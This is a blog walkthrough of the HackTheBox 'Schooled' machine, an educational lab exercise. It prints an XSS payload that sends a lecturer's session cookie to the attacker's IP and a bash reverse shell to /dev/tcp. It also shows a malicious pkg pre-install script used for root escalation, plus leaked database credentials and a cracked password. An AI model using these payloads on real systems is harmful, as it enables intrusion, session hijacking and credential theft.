Hi everyone!
Today’s post is on Schooled, a medium-level HackTheBox FreeBSD machine. This machine was released on 4 April 2021. This challenge test on enumerating vhost for subdomains, XSS to steal session cookies, exploiting Moodle’s CVE2020-14321 for RCE, accessing MySQL for user table’s BCrypt hash password, hashcat to crack the hash, and exploiting pkg GTFObins for privilege escalation. Let’s get started!
Tools required
Service discovery with Nmap
┌──(soulx㉿kali)-[~] └─$ IP=10.10.10.234 ┌──(soulx㉿kali)-[~] └─$ nmap -A -p1-9999 -v $IP Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 20:41 +08 NSE: Loaded 153 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 20:41 Completed NSE at 20:41, 0.00s elapsed Initiating NSE at 20:41 Completed NSE at 20:41, 0.00s elapsed Initiating NSE at 20:41 Completed NSE at 20:41, 0.00s elapsed Initiating Ping Scan at 20:41 Scanning 10.10.10.234 [2 ports] Completed Ping Scan at 20:41, 0.17s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 20:41 Completed Parallel DNS resolution of 1 host. at 20:41, 0.02s elapsed Initiating Connect Scan at 20:41 Scanning 10.10.10.234 [9999 ports] Discovered open port 80/tcp on 10.10.10.234 Discovered open port 22/tcp on 10.10.10.234 Increasing send delay for 10.10.10.234 from 0 to 5 due to max_successful_tryno increase to 4 Increasing send delay for 10.10.10.234 from 5 to 10 due to max_successful_tryno increase to 5 Increasing send delay for 10.10.10.234 from 10 to 20 due to max_successful_tryno increase to 6 Connect Scan Timing: About 12.08% done; ETC: 20:46 (0:03:46 remaining) Connect Scan Timing: About 24.23% done; ETC: 20:46 (0:03:11 remaining) Connect Scan Timing: About 37.93% done; ETC: 20:45 (0:02:29 remaining) Connect Scan Timing: About 51.26% done; ETC: 20:45 (0:01:55 remaining) Connect Scan Timing: About 64.30% done; ETC: 20:45 (0:01:24 remaining) Connect Scan Timing: About 77.49% done; ETC: 20:45 (0:00:53 remaining) Completed Connect Scan at 20:45, 233.92s elapsed (9999 total ports) Initiating Service scan at 20:45 Scanning 2 services on 10.10.10.234 Completed Service scan at 20:45, 6.50s elapsed (2 services on 1 host) NSE: Script scanning 10.10.10.234. Initiating NSE at 20:45 Completed NSE at 20:46, 4.95s elapsed Initiating NSE at 20:46 Completed NSE at 20:46, 0.71s elapsed Initiating NSE at 20:46 Completed NSE at 20:46, 0.00s elapsed Nmap scan report for 10.10.10.234 Host is up (0.14s latency). Not shown: 9997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0) | ssh-hostkey: | 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA) | 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA) |_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519) 80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15) |_http-favicon: Unknown favicon MD5: 460AF0375ECB7C08C3AE0B6E0B82D717 | http-methods: | Supported Methods: OPTIONS HEAD GET POST TRACE |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15 |_http-title: Schooled - A new kind of educational institute Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd NSE: Script Post-scanning. Initiating NSE at 20:46 Completed NSE at 20:46, 0.00s elapsed Initiating NSE at 20:46 Completed NSE at 20:46, 0.00s elapsed Initiating NSE at 20:46 Completed NSE at 20:46, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 247.79 seconds
We can see that the server is indeed running on FreeBSD. Since a website is available, let’s go check it out!
Outlook of the main website


At the bottom page, we can immediately see that the domain name is schooled.htb
. Let’s go to our /etc/hosts
to add it.
┌──(soulx㉿kali)-[~] └─$ sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.10.234 schooled.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
There are other pages we can access too in http://schooled.htb
.

There are other pages too which can be navigated from the navigation bar at the top but other pages do not have anything interesting.
Outlook of the subdomain website
Fuzz subdomain
We can use Gobuster to fuzz for subdomain using the following command.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Schooled] └─$ gobuster vhost -u http://schooled.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://schooled.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/08/06 11:15:21 Starting gobuster in VHOST enumeration mode =============================================================== Found: moodle.schooled.htb (Status: 200) [Size: 84] =============================================================== 2021/08/06 11:16:41 Finished ===============================================================
Since we found moodle.schooled.htb
, let’s add it into /etc/hosts
as well.
127.0.0.1 localhost
127.0.1.1 kali
10.10.10.234 schooled.htb
10.10.10.234 moodle.schooled.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
We can now visit the subdomain website and enumerate it!

We can clear an account before enrolling in a course. Note that the email must have the @student.schooled.htb
subdomain or else they will prompt for it.


XSS vulnerability to pivot to teacher account
Getting hints
When I check out all the courses, we can only enroll in Mathematics. Once we enrolled, we can see the announcement. Our maths lecturer wrote that he will checkout our MoodleNet profile. Based on this, we can try to place an XSS script to steal his session cookie.

Crafting XSS and placed on vulnerable location
We can then add our XSS script as shown below. Do change to your own IP address.
<script>new Image().src="http://10.10.14.4/cookie.php?c="+document.cookie;</script>

Next, run a Python HTTP server to listen to the incoming connection where the XSS script will trigger when our math lecture visits our profile page. Once triggered, an HTTP connection will be made where the cookie will be sent to us via GET request.
Wait for a while and you will see the math lecture’s session cookie is sent to us. Every 2 mins, a bot/script in the server will run to login into the math lecturer’s account and check out all enrolled’s students’ accounts.
┌──(soulx㉿kali)-[~] └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.234 - - [06/Aug/2021 15:57:03] code 404, message File not found 10.10.10.234 - - [06/Aug/2021 15:57:03] "GET /cookie.php?c=MoodleSession=c32smhiiuc9lnek0fr20q8a4f4 HTTP/1.1" 404 -
Interesting discovery
While trying to find a way to steal the cookie, I discovered that the messaging function is also vulnerable to XSS. If our lecturer reads our message if we send the XSS script to them, their cookies will also be sent to us! Too bad the bot only checks our account’s profile and does not read messages.
Pivot to teacher’s account
Before pivoting to the teacher’s account, use Burpsuite to access the website as the next step of pivoting to the manager account requires Burpsuite.
Once you are at http://moodle.schooled.htb
, press key F12 and replace your current cookie with the stolen cookie. Then press key F5 to refresh the page. You should be in the teacher’s account.

Use CVE for RCE
Pivot from teacher’s account to manager’s account
We can pivot to the manager account using CVE-2020-14321 as we know that this website is using Moodle Learning Management System (LMS). Follow the proof-of-concept (PoC) video here.
As you watch the video, you will notice you need to enroll someone before intercepting the request. Hence I unroll my own account which I created at the start of moodle.schooled.htb
. Once unenrolled, I can enroll it and intercept the HTTP request to change the ID to Manuel Philip’s which is 24, and role ID to 1.

You can get Manuel Philip’s ID on his own profile page here:

Based on the PoC video, you will see we need to login into the real manager’s account. If you still remember what we saw in Fig 4c, Lianne Carter is the real manager. Hence, search for her in the participant list. If she isn’t there, enroll her.

Click on Lianne Carter’s name to go to her profile as shown in the PoC video. There will be a panel to login as her. Follow the video and do so.

Remote code execution (RCE) and reverse shell
Continue to follow the whole video where we will change the permission of the manager role and finally upload an RCE.zip file which can be downloaded from this link.
Once we upload the RCE.zip as plugin, we can then access the “shell” via this link:
http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id
The URL above is sending the id
command. We can intercept the request with Burpsuite and send our reverse shell/bash command:
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.7/1337 0>&1'
Remember to change the IP address to your own and the port you want your Netcat to listen on. Once you do so, highlight the command and press key CTRL+U
to URL-encode it.

Before forwarding the request, make sure you are running Netcat and listening on the specified port already. If it is successful, you will see an incoming connection and a shell.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Schooled] └─$ nc -lvnp 1337 listening on [any] 1337 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.234] 58533 bash: cannot set terminal process group (2028): Can't assign requested address bash: no job control in this shell [www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$
Getting the user flag
Looking at possible user account to pivot
As our current account is only a www
account, we do not have the flag. Hence we need to look at the possible accounts we can pivot to. These accounts can be found in /etc/passwd
.
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ cat /etc/passwd # $FreeBSD$ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin ntpd:*:123:123:NTP Daemon:/var/db/ntp:/usr/sbin/nologin _ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin tests:*:977:977:Unprivileged user for tests:/nonexistent:/usr/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin jamie:*:1001:1001:Jamie:/home/jamie:/bin/sh cyrus:*:60:60:the cyrus mail server:/nonexistent:/usr/sbin/nologin mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin _tss:*:601:601:TCG Software Stack user:/var/empty:/usr/sbin/nologin messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin polkitd:*:565:565:Polkit Daemon User:/var/empty:/usr/sbin/nologin cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin colord:*:970:970:colord color management daemon:/nonexistent:/usr/sbin/nologin steve:*:1002:1002:User &:/home/steve:/bin/csh
The possible accounts are Jamie and Steve we can pivot to.
Fix MySQL’s path
Next, we need to find the password for those accounts. One possible place to look for is moodle’s database. The credentials can usually be found in the config.php
file.
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ cd /usr/local/www/apache24/data/moodle [www@Schooled /usr/local/www/apache24/data/moodle]$ ls ... config.php ... [www@Schooled /usr/local/www/apache24/data/moodle]$ cat config.php <?php // Moodle configuration file unset($CFG); global $CFG; $CFG = new stdClass(); $CFG->dbtype = 'mysqli'; $CFG->dblibrary = 'native'; $CFG->dbhost = 'localhost'; $CFG->dbname = 'moodle'; $CFG->dbuser = 'moodle'; $CFG->dbpass = 'PlaybookMaster2020'; $CFG->prefix = 'mdl_'; $CFG->dboptions = array ( 'dbpersist' => 0, 'dbport' => 3306, 'dbsocket' => '', 'dbcollation' => 'utf8_unicode_ci', ); $CFG->wwwroot = 'http://moodle.schooled.htb/moodle'; $CFG->dataroot = '/usr/local/www/apache24/moodledata'; $CFG->admin = 'admin'; $CFG->directorypermissions = 0777; require_once(__DIR__ . '/lib/setup.php'); // There is no php closing tag in this file, // it is intentional because it prevents trailing whitespace problems!
We will realize the MySQL command is missing. This is because it is in a local
directory which the path to it is not located in the $PATH. This leads to us having to find it which is in a local directory before adding it to $PATH.
[www@Schooled /usr/local/www/apache24/data/moodle]$ mysql --version bash: mysql: command not found [www@Schooled /usr/local/www/apache24/data/moodle]$ echo $PATH /sbin:/bin:/usr/sbin:/usr/bin [www@Schooled /usr/local/www/apache24/data/moodle]$ find / -name mysql find: /root: Permission denied find: /usr/local/var/db/tpm: Permission denied find: /usr/local/var/lib/tpm: Permission denied /usr/local/bin/mysql ... [www@Schooled /usr/local/www/apache24/data/moodle]$ export PATH="$PATH:/usr/local/bin" [www@Schooled /usr/local/www/apache24/data/moodle]$ mysql --version mysql Ver 8.0.23 for FreeBSD13.0 on amd64 (Source distribution)
Getting user’s password from database
We can now use one-liner MySQL command to print out the list of tables in the database. Remember to include the credentials.
[www@Schooled /usr/local/www/apache24/data/moodle]$ mysql -u moodle -p --password=PlaybookMaster2020 -s -r -e "select * from information_schema.tables" ... def moodle mdl_user BASE TABLE InnoDB 10 Compressed 28 292 8192 0 122880 0 29 2021-02-27 16:42:29 2021-08-06 15:28:47 NULL utf8_unicode_ci NULL row_format=COMPRESSEDOne record for each person ...
The results were pretty messy. It took me a while to look for the USER table which is mdl_user
. I hiddle the rest of the tables so it won’t look messy on my blog post.
We can now print the content of the USER table using MySQL one-liner command again.

[www@Schooled /usr/local/www/apache24/data/moodle]$ mysql -u moodle -p --password=PlaybookMaster2020 -s -r -e "USE moodle; SELECT * FROM mdl_user" ... 2 manual 1 0 0 0 1 admin $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW Jamie Borham jamie@staff.schooled.htb 0 Bournemouth GB en gregorian 99 1608320129 1608729680 1608681411 1608729680 192.168.1.14 0 1 1 0 0 1 0 0 1608389236 0 ...
After leaking the USER table, we can only find Jamie’s hashed password.
Cracking password hash
Based on this forum, we will know that the hashing algorithm is located in moodlelib.php
in update_internal_user_password()
. I printed the source code of that function which leads me to check out another function, hash_internal_user_password()
.
[www@Schooled /usr/local/www/apache24/data/moodle/lib]$ cat moodlelib.php | grep "function update_internal_user_password" -A 30 function update_internal_user_password($user, $password, $fasthash = false) { global $CFG, $DB; // Figure out what the hashed password should be. if (!isset($user->auth)) { debugging('User record in update_internal_user_password() must include field auth', DEBUG_DEVELOPER); $user->auth = $DB->get_field('user', 'auth', array('id' => $user->id)); } $authplugin = get_auth_plugin($user->auth); if ($authplugin->prevent_local_passwords()) { $hashedpassword = AUTH_PASSWORD_NOT_CACHED; } else { $hashedpassword = hash_internal_user_password($password, $fasthash); } $algorithmchanged = false; if ($hashedpassword === AUTH_PASSWORD_NOT_CACHED) { // Password is not cached, update it if not set to AUTH_PASSWORD_NOT_CACHED. $passwordchanged = ($user->password !== $hashedpassword); } else if (isset($user->password)) { // If verification fails then it means the password has changed. $passwordchanged = !password_verify($password, $user->password); $algorithmchanged = password_needs_rehash($user->password, PASSWORD_DEFAULT); } else { // While creating new user, password in unset in $user object, to avoid // saving it with user_create() $passwordchanged = true; } [www@Schooled /usr/local/www/apache24/data/moodle/lib]$ cat moodlelib.php | grep "function hash_internal_user_password" -A 15 function hash_internal_user_password($password, $fasthash = false) { global $CFG; // Set the cost factor to 4 for fast hashing, otherwise use default cost. $options = ($fasthash) ? array('cost' => 4) : array(); $generatedhash = password_hash($password, PASSWORD_DEFAULT, $options); if ($generatedhash === false || $generatedhash === null) { throw new moodle_exception('Failed to generate password hash.'); } return $generatedhash; } ...
We can see that our password is hashed using PHP’s password_hash(). If we look at the documentation, we will see that it uses BCRYPT as it starts with $2y$, the password hash has 60 characters, and the value used as the parameter was PASSWORD_DEFAULT which uses BCRYPT.
Looking at HashCat‘s documentation, we should be using -m 3200
.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Schooled] └─$ hashcat -m 3200 moodle.hash /usr/share/wordlists/rockyou.txt ... Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx Session..........: hashcat Status...........: Cracked Hash.Name........: bcrypt $2*$, Blowfish (Unix) Hash.Target......: $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5G...l4qTiW Time.Started.....: Fri Aug 6 23:05:19 2021 (6 mins, 27 secs) Time.Estimated...: Fri Aug 6 23:11:46 2021 (0 secs) ...
It will take quite a while before we obtain the password, !QAZ2wsx
.
SSH into Jamie’s account and get the user flag
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Schooled] └─$ ssh jamie@$IP Password for jamie@Schooled: !QAZ2wsx jamie@Schooled:~ $ jamie@Schooled:~ $ ls user.txt jamie@Schooled:~ $ cat user.txt c16****************************
Privilege escalation and getting the root flag
Privilege escalation with GTFObins
As usual, we start of with sudo -l
command to see what commands we can run as root privilege.
jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
(ALL) NOPASSWD: /usr/sbin/pkg update
(ALL) NOPASSWD: /usr/sbin/pkg install *
Since we can use pkg
, a quick googling will allow us to find the commands/steps to escalate privilege here.
TF=$(mktemp -d) echo "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.7/1337 0>&1'" > $TF/x.sh fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
Paste the command above to generate a pkg package in your own system. The steps above will generate a reverse shell connection. Remember to change the IP address and port number.
Upload it from your system to schooled’s server to Jamie’s account.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Schooled] └─$ scp ./x-1.0.txz jamie@$IP:. Password for jamie@Schooled: !QAZ2wsx x-1.0.txz
Once uploaded, you can install it. Before installing, remember to use Netcat and listen on the port you have specified.
jamie@Schooled:~ $ sudo pkg install -y --no-repo-update ./x-1.0.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):
New packages to be INSTALLED:
x: 1.0
Number of packages to be installed: 1
[1/1] Installing x-1.0..
Your Netcat should have an incoming connection and obtain a root reversed shell.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Schooled] └─$ nc -lvnp 1337 listening on [any] 1337 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.234] 20398 [root@Schooled /usr/home/jamie]#
Obtaining the root flag
[root@Schooled /usr/home/jamie]# cd /root [root@Schooled ~]# ls .cache .cshrc .history .k5login .lesshst .login .profile .sh_history .shrc .ssh root.txt scripts [root@Schooled ~]# cat root.txt 210*****************************
I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction and the cost of hosting the website as well as the domain name fee. The link is here. 🙂